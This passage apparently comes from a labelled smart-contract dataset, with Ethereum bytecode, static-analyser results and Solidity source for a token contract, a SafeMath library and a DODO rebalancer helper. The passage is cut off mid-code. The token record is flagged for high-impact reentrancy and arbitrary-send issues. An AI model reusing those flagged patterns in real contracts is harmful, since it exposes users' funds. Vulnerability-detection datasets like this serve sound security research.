ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d1213ce91f682a274e467cbb98a5521e05a5866831b717616fdf5bebf68d40ff64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,847
0x5a93c6ed802d243cb0ddacf83911ef26c9d48953
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } }
0x735a93c6ed802d243cb0ddacf83911ef26c9d4895330146080604052600080fdfea2646970667358221220fd252c446c8dc9f8dc9218df3f0d8100d829c9f8265395bc08cdab2c2ef6c27c64736f6c63430007050033
{"success": true, "error": null, "results": {}}
8,848
0x21a56e63094df3c179ac3753ba6f13d4cdc51832
/** *Submitted for verification at Etherscan.io on 2021-06-10 */ /** *Submitted for verification at Etherscan.io on 2020-10-16 */ // File: contracts/lib/Ownable.sol /* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; pragma experimental ABIEncoderV2; /** * @title Ownable * @author DODO Breeder * * @notice Ownership related functions */ contract Ownable { address public _OWNER_; address public _NEW_OWNER_; // ============ Events ============ event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // ============ Modifiers ============ modifier onlyOwner() { require(msg.sender == _OWNER_, "NOT_OWNER"); _; } // ============ Functions ============ constructor() internal { _OWNER_ = msg.sender; emit OwnershipTransferred(address(0), _OWNER_); } function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0), "INVALID_OWNER"); emit OwnershipTransferPrepared(_OWNER_, newOwner); _NEW_OWNER_ = newOwner; } function claimOwnership() external { require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM"); emit OwnershipTransferred(_OWNER_, _NEW_OWNER_); _OWNER_ = _NEW_OWNER_; _NEW_OWNER_ = address(0); } } // File: contracts/intf/IDODO.sol /* Copyright 2020 DODO ZOO. */ interface IDODO { function init( address owner, address supervisor, address maintainer, address baseToken, address quoteToken, address oracle, uint256 lpFeeRate, uint256 mtFeeRate, uint256 k, uint256 gasPriceLimit ) external; function transferOwnership(address newOwner) external; function claimOwnership() external; function sellBaseToken( uint256 amount, uint256 minReceiveQuote, bytes calldata data ) external returns (uint256); function buyBaseToken( uint256 amount, uint256 maxPayQuote, bytes calldata data ) external returns (uint256); function querySellBaseToken(uint256 amount) external view returns (uint256 receiveQuote); function queryBuyBaseToken(uint256 amount) external view returns (uint256 payQuote); function getExpectedTarget() external view returns (uint256 baseTarget, uint256 quoteTarget); function getLpBaseBalance(address lp) external view returns (uint256 lpBalance); function getLpQuoteBalance(address lp) external view returns (uint256 lpBalance); function depositBaseTo(address to, uint256 amount) external returns (uint256); function withdrawBase(uint256 amount) external returns (uint256); function withdrawAllBase() external returns (uint256); function depositQuoteTo(address to, uint256 amount) external returns (uint256); function withdrawQuote(uint256 amount) external returns (uint256); function withdrawAllQuote() external returns (uint256); function setLiquidityProviderFeeRate(uint256 newLiquidityPorviderFeeRate) external; function setMaintainerFeeRate(uint256 newMaintainerFeeRate) external; function _BASE_CAPITAL_TOKEN_() external view returns (address); function _QUOTE_CAPITAL_TOKEN_() external view returns (address); function _BASE_TOKEN_() external returns (address); function _QUOTE_TOKEN_() external returns (address); function _LP_FEE_RATE_() external returns (uint256); function _MT_FEE_RATE_() external returns (uint256); function _BASE_BALANCE_() external returns (uint256); function _QUOTE_BALANCE_() external returns (uint256); function enableTrading() external; function disableTrading() external; } // File: contracts/intf/IERC20.sol // This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function name() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } // File: contracts/lib/SafeMath.sol /* Copyright 2020 DODO ZOO. */ /** * @title SafeMath * @author DODO Breeder * * @notice Math operations with safety checks that revert on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MUL_ERROR"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "DIVIDING_ERROR"); return a / b; } function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 quotient = div(a, b); uint256 remainder = a - quotient * b; if (remainder > 0) { return quotient + 1; } else { return quotient; } } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SUB_ERROR"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "ADD_ERROR"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = x / 2 + 1; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } // File: contracts/lib/SafeERC20.sol /* Copyright 2020 DODO ZOO. This is a simplified version of OpenZepplin's SafeERC20 library */ /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/helper/DODORebalancer.sol /* Copyright 2020 DODO ZOO. */ contract DODORebalancer is Ownable { using SafeERC20 for IERC20; function rebalance(address dodo) external onlyOwner { IDODO(dodo).setLiquidityProviderFeeRate(0); IDODO(dodo).setMaintainerFeeRate(0); (uint256 baseTarget, ) = IDODO(dodo).getExpectedTarget(); uint256 baseBalance = IDODO(dodo)._BASE_BALANCE_(); if (baseTarget<baseBalance) { uint256 amount = baseBalance-baseTarget; uint256 expectedPay = IDODO(dodo).queryBuyBaseToken(amount); IERC20(IDODO(dodo)._QUOTE_TOKEN_()).safeApprove(dodo, expectedPay); IDODO(dodo).buyBaseToken(amount, expectedPay, ""); } else { uint256 amount = baseTarget-baseBalance; uint256 expectedReceive = IDODO(dodo).querySellBaseToken(amount); IERC20(IDODO(dodo)._BASE_TOKEN_()).safeApprove(dodo, amount); IDODO(dodo).sellBaseToken(amount, expectedReceive, ""); } IDODO(dodo).setLiquidityProviderFeeRate(99e16); } function retrieve(address token) external onlyOwner { IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this))); } function retrieveEth(uint256 amount) external onlyOwner { msg.sender.transfer(amount); } function claimOwnership(address dodo) external onlyOwner{ IDODO(dodo).claimOwnership(); } function transferOwnership(address dodo, address 